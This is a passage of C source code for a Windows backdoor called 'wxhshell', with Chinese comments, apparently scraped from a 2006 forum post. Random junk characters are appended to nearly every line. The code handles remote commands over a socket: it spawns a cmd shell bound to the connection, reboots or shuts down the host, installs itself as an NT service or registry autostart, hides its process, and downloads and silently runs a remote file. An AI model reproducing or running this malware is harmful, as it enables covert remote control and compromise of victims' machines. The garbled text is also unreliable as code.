    switch(cmd[0]) { )(`HEl>-9c  
  n+qa/<  
  // 帮助 _G1C5nkDl4  
  case '?': { *\4u:1Cu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2Ysl|xRo  
    break; ZBcT@hxm  
  } @b2JR^  
  // 安装 -ZKo/ N>6}  
  case 'i': { *B ]5K{N  
    if(Install()) s>+,u7EV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >|| =#;  
    else +w(>UBy-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aH(B}wh{  
    break; ~P5;k_&  
    } aNxq_pRb  
  // 卸载 5uxB)Dx)  
  case 'r': { ^+b ??K  
    if(Uninstall()) tuWJj^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9X%H$>s  
    else SRfnT?u6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vub ($  
    break; qQ=\R1l  
    } +\@}IKWl-?  
  // 显示 wxhshell 所在路径 w]Byl3}Gt  
  case 'p': { R3\oLT4  
    char svExeFile[MAX_PATH]; :^92B?q  
    strcpy(svExeFile,"\n\r"); G zw $M  
      strcat(svExeFile,ExeFile); T#:n7$M|?A  
        send(wsh,svExeFile,strlen(svExeFile),0); 2S#|[wq(  
    break; $u-yw1FT  
    } F `cuV  
  // 重启 G;k#06  
  case 'b': { 6B .x=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [fl x/E  
    if(Boot(REBOOT)) ;wF 0s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q xg)Wb#  
    else { J~,Ny_L  
    closesocket(wsh); *~H\#N|x  
    ExitThread(0); W2 p&LP  
    } 1w|C+m/(  
    break; oBqWIXM  
    } 6OOdVS3\J  
  // 关机 XA4miQn&  
  case 'd': { CUG3C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -w#*~Q{'*  
    if(Boot(SHUTDOWN)) 8n`O{8:fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;(1Xb   
    else { fO'"UI  
    closesocket(wsh); PW)Gd +y  
    ExitThread(0); +`D,7"{Eu  
    } \cKY{(E  
    break; R-\a3q  
    } FvTc{"w /  
  // 获取shell W!.vP~>  
  case 's': { x.ZW%P1  
    CmdShell(wsh); $lYy`OuC  
    closesocket(wsh); q o^PS  
    ExitThread(0); @}[yC['  
    break; {!G  
  } kl/eJN'S  
  // 退出 Z#nPn>,q  
  case 'x': { [(65^Zl`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zv>3Tc0R  
    CloseIt(wsh); : #om6}   
    break; {@tqeu%IM  
    } @ UgZZ  
  // 离开 )!tqock*v  
  case 'q': { G+dQ" cI9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |MEu"pY)  
    closesocket(wsh); g E#4 3  
    WSACleanup(); Sh(Ws2b7  
    exit(1); 'L1=:g.\i  
    break; tITx+i  
        } @_ Q  
  } 0!6n  
  } Utv#E.VI  
`$hna{e^n  
  // 提示信息 !Ic{lB   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % bpVK~z  
} g.9:R=JPT  
  } dd{pF\a  
\ f6@B:?y  
  return; _${//`ia=  
} S>y(3E]I  
#x^dR-@   
// shell模块句柄 Cvk n2T  
int CmdShell(SOCKET sock) 6~#$bp^-  
{ gqCDF H  
STARTUPINFO si; czH`a=mjH  
ZeroMemory(&si,sizeof(si)); rQ+2 -|#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8;vpa*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o fw0_)!Q  
PROCESS_INFORMATION ProcessInfo; U0Q:sA U  
char cmdline[]="cmd"; : U:>X6f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q[rBu9  
  return 0; `~ ,  
} 14LOeo5O  
eq<giHJM  
// 自身启动模式 P}dhpU  
int StartFromService(void) vsDR@Y}k  
{ pD )$O}  
typedef struct ESQgN+llj  
{ V_.n G;  
  DWORD ExitStatus; <R%]9#re  
  DWORD PebBaseAddress; |5(< Vk=  
  DWORD AffinityMask; 'tRaF  
  DWORD BasePriority; Kq. MmR!gl  
  ULONG UniqueProcessId; mxxuD"5  
  ULONG InheritedFromUniqueProcessId; VUD ?iv7  
}   PROCESS_BASIC_INFORMATION; H[S 4o,  
Q \E [py  
PROCNTQSIP NtQueryInformationProcess; n@"h^-  
?~g X7{>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]EhU8bZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (w+dB8 )X  
~ R:=zGDV  
  HANDLE             hProcess; qDzd_E@aR  
  PROCESS_BASIC_INFORMATION pbi; W\W|v?r  
B)1.CHV%<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ag~4m5n*~  
  if(NULL == hInst ) return 0; K$K6,54y  
&1k2J   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pn;Tg7oz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nWd]P\a'V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ry+Ax4#+(y  
Ie14`'  
  if (!NtQueryInformationProcess) return 0; hrt ]Qn&  
Cc7YjsRW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JC[G5$E  
  if(!hProcess) return 0; sp VE'"^  
&q?A)R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; liuF;*  
EP ;TfWc}1  
  CloseHandle(hProcess); B > sTM  
?cF-w!>o8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |x[zzx# >-  
if(hProcess==NULL) return 0; 5m e|dvk  
4jyDM68i  
HMODULE hMod; Le*sLuxk<  
char procName[255]; E }*   
unsigned long cbNeeded; j!oD9&W4~  
Sjogv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pP`KI'aUN  
^9g+\W  
  CloseHandle(hProcess); .@(+.G  
@\_l%/z{  
if(strstr(procName,"services")) return 1; // 以服务启动 GdxMHnn=  
"AAzBWd/  
  return 0; // 注册表启动 qxR7;/@j)  
} :W++`f&  
in/ITy-  
// 主模块 ?'I[[KuG  
int StartWxhshell(LPSTR lpCmdLine) i5QG_^X&  
{ gp/_# QVWC  
  SOCKET wsl; 8LH"j(H  
BOOL val=TRUE; kN99(  
  int port=0; BWd{xP y  
  struct sockaddr_in door; PN$vBFjm  
lM<SoC;[  
  if(wscfg.ws_autoins) Install(); 0d%p<c  
~MOab e  
port=atoi(lpCmdLine); R p!R&U/  
e!:/enQo  
if(port<=0) port=wscfg.ws_port; Fa!6*K\  
cnrS.s=  
  WSADATA data; `k>h2(@9S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FK8G BkQ!  
b)5z'zQu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -@wnQ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5tIM@,.I/  
  door.sin_family = AF_INET; mM&*_#( 6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _B5t)7I  
  door.sin_port = htons(port); AxXFzMW  
.7!n%Ks  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Z(F-B +j  
closesocket(wsl); 1 >nl ]yO  
return 1; gx*rxid  
} x@@U&.1_A  
|] <eJ|\=  
  if(listen(wsl,2) == INVALID_SOCKET) { 41d,<E  
closesocket(wsl); ~sI$xX!  
return 1; {u1Rc/Lw  
} 6__#n`  
  Wxhshell(wsl); T2nbU6H  
  WSACleanup(); 7H1 ii   
5g{L -8XwI  
return 0; `3v! i   
I^5T9}>Q  
} ]G0`W6;$]  
YEEgDw]BQ  
// 以NT服务方式启动  QTN _Z#'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g' xR$6t  
{ q=M\#MlL0'  
DWORD   status = 0; q 16jL,i  
  DWORD   specificError = 0xfffffff; a!;]9}u7  
@Gs*y1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 78s:~|WB<{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d" "GG/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IQZBH2R  
  serviceStatus.dwWin32ExitCode     = 0; ]aqHk  
  serviceStatus.dwServiceSpecificExitCode = 0; Qo4+=^(  
  serviceStatus.dwCheckPoint       = 0; q;))3aQe  
  serviceStatus.dwWaitHint       = 0; jf&LSK;2  
<eObQ[mQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bh9O<|E  
  if (hServiceStatusHandle==0) return; !Cm<K*c"&E  
%'}L.OvG  
status = GetLastError(); x,s Ma*vd  
  if (status!=NO_ERROR) a:PS}_.  
{ kp4*|$]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jl"),;Od  
    serviceStatus.dwCheckPoint       = 0; blwdcdh  
    serviceStatus.dwWaitHint       = 0; o8:K6y  
    serviceStatus.dwWin32ExitCode     = status; 0L34)W  
    serviceStatus.dwServiceSpecificExitCode = specificError; hrwQh2sm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YU89m7cc'  
    return; {[~ !6&2(k  
  } +fgF &.  
X7I"WC1ncz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <p48?+K9  
  serviceStatus.dwCheckPoint       = 0; ~zklrBn&  
  serviceStatus.dwWaitHint       = 0; +\`D1d@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t|gEMDGa3  
} O1@-)<_71  
~ caKzq  
// 处理NT服务事件,比如:启动、停止 wAr (5nEbx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?fog 34g  
{ &CvNNDgrJ  
switch(fdwControl) rf+'U9  
{ ~RQ6DG^  
case SERVICE_CONTROL_STOP: }w \["r  
  serviceStatus.dwWin32ExitCode = 0; sOSol7n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x?J- {6k  
  serviceStatus.dwCheckPoint   = 0; 't$(Ruw  
  serviceStatus.dwWaitHint     = 0; IT,TSs/Y  
  { /t-m/&>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +$MNG   
  } H61 ,pr>  
  return; 8oSndfV  
case SERVICE_CONTROL_PAUSE: $XFiH~GI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XE_|H1&j  
  break; tHSe>*eC  
case SERVICE_CONTROL_CONTINUE: {x $H# <Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^X6fgsjz  
  break; tJ>OZ  
case SERVICE_CONTROL_INTERROGATE: v;S7i>\  
  break; (+<SR5,/3  
}; |Ire#0Nwx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Do7&OBI~  
} <RmI)g>'_^  
%]JSDb=C  
// 标准应用程序主函数 u>Z0ug6x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Epm\ =s  
{ pYo]lO  
^|@t2Rp@  
// 获取操作系统版本 h+k:G9;sS  
OsIsNt=GetOsVer(); tT}*%A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AL/q6PWi  
\UI7H1XDH  
  // 从命令行安装 ] X,C9  
  if(strpbrk(lpCmdLine,"iI")) Install(); [&n2 yt  
m~%\f8w-x  
  // 下载执行文件 p=U*4[9k  
if(wscfg.ws_downexe) { *0)vsBi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6(4FC?Y7  
  WinExec(wscfg.ws_filenam,SW_HIDE); +'abAST t  
} :\x)`lu  
/TTmMx*  
if(!OsIsNt) { M,Q(7z?#5  
// 如果时win9x,隐藏进程并且设置为注册表启动 .__X- +^  
HideProc(); 5qkG~ YO-  
StartWxhshell(lpCmdLine); ?5e:w?&g@  
} 2f1WT g)  
else /,'D4s:Gg  
  if(StartFromService()) ^)&d7cSc  
  // 以服务方式启动 @ U6Iw"@  
  StartServiceCtrlDispatcher(DispatchTable); 1 dT1DcZ  
else n?*Fr sZ  
  // 普通方式启动 "nX L7N0  
  StartWxhshell(lpCmdLine); l~,5)*T  
$LLkYOwI  
return 0; A-\OB Nh  
}
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只看该作者 1 发表于: 2006-10-10
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